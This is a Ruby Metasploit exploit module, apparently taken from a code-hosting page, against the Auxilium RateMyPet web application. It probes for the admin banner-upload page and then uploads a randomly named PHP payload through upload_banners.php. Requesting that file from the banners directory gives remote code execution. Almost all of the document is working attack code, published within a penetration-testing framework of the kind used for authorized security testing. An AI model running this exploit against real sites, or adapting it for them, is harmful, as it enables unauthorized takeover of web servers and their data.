116 lines
3.3 KiB
Ruby
116 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Auxilium RateMyPet's. The site
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banner uploading feature can be abused to upload an arbitrary file to the web
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server, which is accessible in the 'banner' directory, thus allowing remote code
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execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'DaOne', # Vulnerability discovery
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'sinn3r' # Metasploit
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],
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'References' =>
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[
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['OSVDB', '85554'],
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['EDB', '21329']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Platform' => %w{ linux php },
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Sep 14 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
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], self.class)
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end
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def check
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uri = target_uri.path
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base = File.dirname("#{uri}.")
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res = send_request_raw({
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'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
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})
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if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def upload_exec(base, php_fname, p)
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data = Rex::MIME::Message.new
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data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
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data.add_part('', nil, nil, "form-data; name=\"alt\"")
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data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
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data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
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post_data = data.to_s
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print_status("Uploading payload (#{p.length.to_s} bytes)...")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data,
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})
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if not res
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print_error("No response from host")
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return
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end
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print_status("Requesting '#{php_fname}'...")
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res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})
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if res and res.code == 404
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print_error("Upload unsuccessful: #{res.code.to_s}")
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return
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end
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handler
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end
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def exploit
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
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p = get_write_exec_payload(:unlink_self=>true)
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upload_exec(base, php_fname, p)
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end
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end
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